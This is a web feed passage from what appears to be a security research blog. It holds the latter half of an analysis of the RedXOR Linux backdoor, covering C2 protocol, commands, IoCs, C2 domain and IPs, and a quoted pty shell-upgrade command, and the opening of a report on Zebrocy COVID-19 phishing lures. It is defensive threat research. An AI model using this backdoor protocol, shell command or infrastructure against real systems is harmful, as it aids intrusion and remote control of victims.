&lt;a href="#configuration" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware stores the configuration encrypted within the binary. In addition
to the Command and control (C2) IP address and port it can also be configured
to use a proxy. The configuration includes a password, as can be seen in Figure
9. This password is used by the malware to authenticate to the C2 server.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig9.png" title="Figure 9: Configuration options for the malware" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 9: Configuration options for the malware&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;The configuration values are decrypted by the &lt;code&gt;doXor&lt;/code&gt; function. A pseudo-code
representation of the function is shown in Figure 10. The decryption logic is a
simple XOR against a byte key. The byte key is incremented by a constant for
each item in the buffer. The only configuration value that is not encrypted is
the server port. The port value is used to derive the key and the adder. The
key is derived from bit shifting the port value eight steps to the right. The
constant uses the port value.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig10.png" title="Figure 10: Decryption logic of the configuration data. The data is XORed against a key byte that is incremented by a constant for each entry in the buffer" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 10: Decryption logic of the configuration data. The data is XORed against a key byte that is incremented by a constant for each entry in the buffer&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Communication with the C2&lt;span class="hx:absolute hx:-mt-20" id="communication-with-the-c2"&gt;&lt;/span&gt;
&lt;a href="#communication-with-the-c2" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware communicates with the C2 server over a TCP socket. The traffic is
made to look like HTTP traffic. Figure 11 shows a pseudo-code representation of
the function used by the malware to prepare data that is to be sent to the C2
server. First, it fills the buffer with null bytes. The request body is XORed
against a key. The malware uses the buffer length as the key. This value is
also passed into the function as the &amp;ldquo;total_length&amp;rdquo; argument.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig11.png" title="Figure 11: Function for preparing data to be sent to the C2 server" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 11: Function for preparing data to be sent to the C2 server&lt;/figcaption&gt;
&lt;/figure&gt;
The same logic is used to decrypt the response body from the C2 server. From
the response, the malware extracts &amp;ldquo;JSESSIONID&amp;rdquo;, &amp;ldquo;Content-Length&amp;rdquo;,
&amp;ldquo;Total-Length&amp;rdquo; and the response body. The data is added to a struct with the
following layout:&lt;/p&gt;
&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;0x0 JSESSIONID as int
0x8 Content-Length as long
0x10 Total-Length as long
0x18 Response body&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;The content length is the length of the response body but also used as the key.
The total length value is used as a constant which is added to the key in each
iteration. The JSESSIONID value holds the command ID for the job the C2 wants
the malware to perform.&lt;/p&gt;
&lt;h3&gt;Commands&lt;span class="hx:absolute hx:-mt-20" id="commands"&gt;&lt;/span&gt;
&lt;a href="#commands" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The C2 server tells the malware to execute different commands via a command
code that is returned in the &amp;ldquo;JSESSIONID&amp;rdquo; cookie. The codes are encoded as
decimal integers. A full list of commands supported by the analyzed malware
sample are shown in the table below. They can be grouped into command types.
Commands in the 2000 range provide &amp;ldquo;filesystem&amp;rdquo; interaction, 3000 handle
&amp;ldquo;shell&amp;rdquo; commands, and 4000 handle network tunneling.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Table 1: List of commands supported by the malware&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Code&lt;/th&gt;
&lt;th&gt;Command&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;0000&lt;/td&gt;
&lt;td&gt;System information&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0008&lt;/td&gt;
&lt;td&gt;Update&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;0009&lt;/td&gt;
&lt;td&gt;Uninstall&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1000&lt;/td&gt;
&lt;td&gt;Ping&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1010&lt;/td&gt;
&lt;td&gt;Install LKM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2049&lt;/td&gt;
&lt;td&gt;List folder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2054&lt;/td&gt;
&lt;td&gt;Upload file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2055&lt;/td&gt;
&lt;td&gt;Open file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2056&lt;/td&gt;
&lt;td&gt;Execute with system&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2058&lt;/td&gt;
&lt;td&gt;Remove file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2060&lt;/td&gt;
&lt;td&gt;Remove folder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2061&lt;/td&gt;
&lt;td&gt;Rename&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2062&lt;/td&gt;
&lt;td&gt;Create new folder&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2066&lt;/td&gt;
&lt;td&gt;Write content to file&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3000&lt;/td&gt;
&lt;td&gt;Start shell&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3058&lt;/td&gt;
&lt;td&gt;Exec shell command&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3999&lt;/td&gt;
&lt;td&gt;Close tty&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4001&lt;/td&gt;
&lt;td&gt;Portmap (Proxy)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4002&lt;/td&gt;
&lt;td&gt;Kill portmap&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;System Information&lt;span class="hx:absolute hx:-mt-20" id="system-information"&gt;&lt;/span&gt;
&lt;a href="#system-information" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;When the malware first contacts the C2 server it sends a password encoded in
the request body. The C2 server responds with the command code 0 to collect
system information. The data collected about the system by the malware is
listed in the table below. The data is serialized into a URL query-like string,
encrypted and then sent as the request body.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Table 2: Data collected by the malware and sent back to the C2 server&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;URL key&lt;/th&gt;
&lt;th&gt;Description&lt;/th&gt;
&lt;th&gt;Comment&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;hostip&lt;/td&gt;
&lt;td&gt;IP&lt;/td&gt;
&lt;td&gt;Hardcoded to 127.0.0.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;softtype&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Hardcoded to &amp;ldquo;Linux&amp;rdquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;pscaddr&lt;/td&gt;
&lt;td&gt;MAC address&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hostname&lt;/td&gt;
&lt;td&gt;Machine name&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hosttar&lt;/td&gt;
&lt;td&gt;Username&lt;/td&gt;
&lt;td&gt;Possibly &amp;ldquo;host target&amp;rdquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hostos&lt;/td&gt;
&lt;td&gt;Distribution&lt;/td&gt;
&lt;td&gt;Extracted from /etc/issue or /etc/redhat-release&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hostcpu&lt;/td&gt;
&lt;td&gt;Clock speed&lt;/td&gt;
&lt;td&gt;/proc/cpuinfo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hostmem&lt;/td&gt;
&lt;td&gt;Amount of memory&lt;/td&gt;
&lt;td&gt;/proc/meminfo&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;hostpack&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;Hardcoded to &amp;ldquo;Linux&amp;rdquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;lkmtag&lt;/td&gt;
&lt;td&gt;Is rootkit enabled&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;kernel&lt;/td&gt;
&lt;td&gt;Kernel version&lt;/td&gt;
&lt;td&gt;Extracted from uname&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Figure 12 shows the communication between RedXOR and the C2. The malware sends
the password &lt;code&gt;pd=admin&lt;/code&gt; and C2 responds with &lt;code&gt;all right&lt;/code&gt; (&lt;code&gt;JSESSIONID=0000&lt;/code&gt;).
Next, the malware sends the system information and the C2 replies with the ping
command (&lt;code&gt;JSESSIONID=1000&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig12.png" title="Figure 12: RedXOR communication with C2" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 12: RedXOR communication with C2&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h3&gt;Update Functionality&lt;span class="hx:absolute hx:-mt-20" id="update-functionality"&gt;&lt;/span&gt;
&lt;a href="#update-functionality" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware can be updated by the threat actor. This is performed by sending
command code 8 to the malware. When the malware receives this code the
following actions are taken:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The malware opens the mutex file for writing.&lt;/li&gt;
&lt;li&gt;It sends a request with the command code 8 and an empty request body to the
C2 server.&lt;/li&gt;
&lt;li&gt;The response body from the server is written to the mutex file. The response
body is not encrypted.&lt;/li&gt;
&lt;li&gt;The lock is released on the mutex file.&lt;/li&gt;
&lt;li&gt;The malware executes &amp;ldquo;chmod&amp;rdquo; to set the execution flag on the file via the
libc system function.&lt;/li&gt;
&lt;li&gt;The malware sleeps and tries to obtain the lock on the file again when it
wakes up. If it fails, it assumes the update was successful, closes the
connection to the C2 server and exits.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Shell Functionality&lt;span class="hx:absolute hx:-mt-20" id="shell-functionality"&gt;&lt;/span&gt;
&lt;a href="#shell-functionality" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;The malware has the ability to provide its operator with a &lt;code&gt;tty&lt;/code&gt; shell. If a
shell is requested via the command code 3000, the malware creates a new thread
executing &lt;code&gt;/bin/sh&lt;/code&gt;. In the new spawned shell, the malware executes
&lt;code&gt;python -c &amp;quot;import pty;pty.spawn('/bin/sh')&amp;quot;&lt;/code&gt; to get a pseudo-terminal (pty)
interface. Any shell commands sent to the malware with the command code of 3058
are executed in the pty and the response is returned to the operator.&lt;/p&gt;
&lt;h3&gt;Network Tunneling&lt;span class="hx:absolute hx:-mt-20" id="network-tunneling"&gt;&lt;/span&gt;
&lt;a href="#network-tunneling" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Network tunneling is enabled by sending the command code 4001 to the malware.
As part of the request, a &amp;ldquo;configuration&amp;rdquo; is sent as part of the response body.
The configuration consists of three items separated by a &amp;ldquo;#&amp;rdquo; character. The
items are: a port to bind to, the IP to connect to, and a port to connect to.
The malware uses a modified version of the open-source project Rinetd for the
tunneling logic. Rinetd is designed to use a configuration file stored on the
machine. To get around this, the malware author has modified the function that
parses the configuration in order to directly take the required values normally
found in the configuration file.&lt;/p&gt;
&lt;h2&gt;Wrap Up&lt;span class="hx:absolute hx:-mt-20" id="wrap-up"&gt;&lt;/span&gt;
&lt;a href="#wrap-up" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Linux systems are under constant attack given that Linux runs on most of the
public cloud workload. A
&lt;a href="https://secure2.sophos.com/en-us/content/state-of-cloud-security.aspx"target="_blank" rel="noopener"&gt;survey conducted by Sophos&lt;/a&gt;
found that 70% of organizations using the public cloud to host data or
workloads experienced a security incident in the past year. Along with botnets
and cryptominers, the Linux threat landscape is also home to sophisticated
threats like RedXOR developed by
&lt;a href="https://intezer.com/blog/malware-analysis/looking-back-on-the-last-decade-of-linux-apt-attacks/?utm_campaign=research-blog&amp;amp;utm_content=new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;nation-state actors&lt;/a&gt;.
RedXOR samples are indexed in Intezer Analyze so that you can detect any
suspicious file that shares code with this malware.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2021/03/new-linux-backdoor-redxor-likely-operated-by-chinese-nation-state-actor/images/fig14.png" title="Figure 13: RedXOR sample in Intezer Analyze" alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 13: RedXOR sample in Intezer Analyze&lt;/figcaption&gt;
&lt;/figure&gt;&lt;/p&gt;
&lt;h2&gt;IoCs&lt;span class="hx:absolute hx:-mt-20" id="iocs"&gt;&lt;/span&gt;
&lt;a href="#iocs" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;h3&gt;Files&lt;span class="hx:absolute hx:-mt-20" id="files"&gt;&lt;/span&gt;
&lt;a href="#files" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;0a76c55fa88d4c134012a5136c09fb938b4be88a382f88bf2804043253b0559f
0423258b94e8a9af58ad63ea493818618de2d8c60cf75ec7980edcaa34dcc919&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Network&lt;span class="hx:absolute hx:-mt-20" id="network"&gt;&lt;/span&gt;
&lt;a href="#network" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;update[.]cloudjscdn[.]com
158[.]247[.]208[.]230
34[.]92[.]228[].216&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;Process name&lt;span class="hx:absolute hx:-mt-20" id="process-name"&gt;&lt;/span&gt;
&lt;a href="#process-name" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;po1kitd-update-k&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;h3&gt;File and directories created on disk&lt;span class="hx:absolute hx:-mt-20" id="file-and-directories-created-on-disk"&gt;&lt;/span&gt;
&lt;a href="#file-and-directories-created-on-disk" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h3&gt;&lt;div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code"&gt;
&lt;div&gt;&lt;pre&gt;&lt;code&gt;.po1kitd-update-k
.po1kitd.thumb
.po1kitd-2a4D53
.po1kitd-k3i86dfv
.po1kitd-nrkSh7d6
.po1kitd-2sAq14
.2sAq14
.2a4D53
po1kitd.ko
po1kitd-update.desktop
S99po1kitd-update.sh&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0"&gt;
&lt;button
class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
title="Copy code"
aria-label="Copy code"
data-copied-label="Copied!"
&gt;
&lt;div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"&gt;&lt;/div&gt;
&lt;/button&gt;
&lt;/div&gt;
&lt;/div&gt;</description></item><item><title>A Zebra in Gopher’s Clothing: Russian APT Uses COVID-19 Lures to Deliver Zebrocy</title><link>https://research.intezer.com/blog/2020/12/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/</link><pubDate>Wed, 09 Dec 2020 00:00:00 +0000</pubDate><guid>https://research.intezer.com/blog/2020/12/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/</guid><description>
&lt;h2&gt;Summary&lt;span class="hx:absolute hx:-mt-20" id="summary"&gt;&lt;/span&gt;
&lt;a href="#summary" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;In November, we uncovered COVID-19 phishing lures that were used to deliver the
Go version of
&lt;a href="https://analyze.intezer.com/families/2196bcb4-94b0-4773-beb6-87900b338521?utm_campaign=research-blog&amp;amp;utm_content=russian-apt-uses-covid-19-lures-to-deliver-zebrocy&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Zebrocy&lt;/a&gt;.
Zebrocy is mainly used against governments and commercial organizations engaged
in foreign affairs. The lures consisted of documents about Sinopharm
International Corporation—a pharmaceutical company that COVID-19 vaccine is
currently going through phase three clinical trials—and an impersonated
evacuation letter from Directorate General of Civil Aviation.&lt;/p&gt;
&lt;p&gt;The lure was delivered as part of a Virtual Hard Drive (VHD) file that requires
victims to use Windows 10 to access the files. While the malware samples were
heavily obfuscated, it was possible to attribute them to the
&lt;a href="https://analyze.intezer.com/families/4b0df7b0-b079-4a21-a72d-a35efabef6d8?utm_campaign=research-blog&amp;amp;utm_content=russian-apt-uses-covid-19-lures-to-deliver-zebrocy&amp;amp;utm_medium=referral&amp;amp;utm_source=research.intezer.com"target="_blank" rel="noopener"&gt;Sofacy&lt;/a&gt;
threat actor since they shared genomes with samples used in previous campaigns.&lt;/p&gt;
&lt;p&gt;It appears that the threat actor switched from delivering VHD files with the
Delphi version of Zebrocy, to the Go version in the middle of November. Given
that many COVID-19 vaccines are about to be approved for clinical use, it’s
likely that APTs (Advanced Persistent Threat) and financially motivated threat
actors will use this malware in their attacks.&lt;/p&gt;
&lt;h2&gt;Zebrocy Evolution&lt;span class="hx:absolute hx:-mt-20" id="zebrocy-evolution"&gt;&lt;/span&gt;
&lt;a href="#zebrocy-evolution" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Zebrocy is a malware used by the threat group Sofacy, also known as Sednit,
APT28, Fancy Bear, and STRONTIUM. Sofacy was one of the groups
&lt;a href="https://www.justice.gov/opa/pr/grand-jury-indicts-12-russian-intelligence-officers-hacking-offenses-related-2016-election"target="_blank" rel="noopener"&gt;indicted&lt;/a&gt;
by the Department of Justice (DOJ) for the compromise of the Democratic
National Committee (DNC). The Zebrocy toolset was first reported by Kaspersky
Labs as part of their
&lt;a href="https://securelist.com/apt-trends-report-q2-2017/79332/"target="_blank" rel="noopener"&gt;APT Trends report&lt;/a&gt; in
2017. The malware was first used in
&lt;a href="https://securelist.com/zebrocys-multilanguage-malware-salad/90680/"target="_blank" rel="noopener"&gt;2015&lt;/a&gt; and
overlapped with known Sofacy infrastructure at the time. Zebrocy operates as a
downloader and collects information about the infected host that is uploaded to
the command and control (C&amp;amp;C) server before downloading and executing the next
stage.&lt;/p&gt;
&lt;p&gt;The first version of the downloader was written in Delphi and was based on a
&lt;a href="https://securelist.com/zebrocys-multilanguage-malware-salad/90680/"target="_blank" rel="noopener"&gt;previous malware&lt;/a&gt;
used by Sofacy. One unique aspect of the operators behind Zebrocy is their
choice of evolving the malware. Instead of improving their codebase to add new
functionalities and increase their chance of staying undetected, the group has
opted to keep the malware simple by implementing new versions in different
programming languages. Zebrocy samples written in AutoIT, C++, C#, Delphi, Go,
and VB.NET have been
&lt;a href="https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks/"target="_blank" rel="noopener"&gt;discovered&lt;/a&gt;
by the
&lt;a href="https://unit42.paloaltonetworks.com/sofacy-creates-new-go-variant-of-zebrocy-tool/"target="_blank" rel="noopener"&gt;research&lt;/a&gt;
community.&lt;/p&gt;
&lt;p&gt;While Zebrocy is known to be used by a subset of the Sofacy threat group,
Kaspersky Labs reported in
&lt;a href="https://securelist.com/greyenergys-overlap-with-zebrocy/89506/"target="_blank" rel="noopener"&gt;January 2019&lt;/a&gt;
that they had discovered infrastructure used both by Zebrocy and GreyEnergy.
GreyEnergy was discovered by ESET and reported on in
&lt;a href="https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf"target="_blank" rel="noopener"&gt;October 2018&lt;/a&gt;.
The group is believed to be the successor of BlackEnergy, also known as
Sandworm. Sandworm was recently attributed to Russia’s GRU by the United States
government in an
&lt;a href="https://www.justice.gov/opa/pr/six-russian-gru-officers-charged-connection-worldwide-deployment-destructive-malware-and"target="_blank" rel="noopener"&gt;indictment&lt;/a&gt;
for the NotPetya and Olympic Destroyer campaigns. Generally speaking, Sofacy
and BlackEnergy have diverging goals and have been known to go after different
targets. In this case, the common infrastructure and targets between the Sofacy
subgroup using Zebrocy and GreyEnergy suggests a relationship between the
groups.&lt;/p&gt;
&lt;p&gt;Zebrocy is mainly used against
&lt;a href="https://securelist.com/masha-and-these-bears/84311/"target="_blank" rel="noopener"&gt;governments and commercial organizations&lt;/a&gt;
engaged in
&lt;a href="https://unit42.paloaltonetworks.com/unit42-sofacy-groups-parallel-attacks"target="_blank" rel="noopener"&gt;foreign affairs&lt;/a&gt;.
Victims have been located
&lt;a href="https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/"target="_blank" rel="noopener"&gt;in&lt;/a&gt;:
&amp;ldquo;Afghanistan, Azerbaijan, Bosnia and Herzegovina, China, Egypt, Georgia, Iran,
Japan, Kazakhstan, Korea, Kyrgyzstan, Mongolia, Russia, Saudi Arabia, Serbia,
Switzerland, Tajikistan, Turkey, Turkmenistan, Ukraine, Uruguay, and Zimbabwe.&amp;rdquo;
The delivery of Zebrocy is usually via a spear-phishing
&lt;a href="https://www.welivesecurity.com/2018/04/24/sednit-update-analysis-zebrocy/"target="_blank" rel="noopener"&gt;email&lt;/a&gt;.
The email has contained Microsoft Office documents or archive files.&lt;/p&gt;
&lt;h2&gt;Technical Analysis&lt;span class="hx:absolute hx:-mt-20" id="technical-analysis"&gt;&lt;/span&gt;
&lt;a href="#technical-analysis" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;At the end of November, we discovered a Virtual Hard Drive (VHD) file
(&lt;code&gt;a7b446d79d3fc05a7e1881d6d4abaf55&lt;/code&gt;) named &lt;code&gt;30-22-243.vhd &lt;/code&gt;that was uploaded
from Azerbaijan to VirusTotal. VHD is the native file format for virtual hard
drives used by Microsoft’s hypervisor, Hyper-V. Windows 10 has native support
for the file format and allows the user to mount the file and access its
content. Figure 1 shows what the user would see if they downloaded the file to
their desktop. According to timestamps stored in the file, the disk was created
on November 20, 2020, 10 days before it was uploaded to VirusTotal.&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;
&lt;img src="https://research.intezer.com/blog/2020/12/russian-apt-uses-covid-19-lures-to-deliver-zebrocy/images/fig1.png" title="Figure 1: VHD phishing lure." alt="" loading="lazy" /&gt;
&lt;figcaption&gt;Figure 1: VHD phishing lure.&lt;/figcaption&gt;
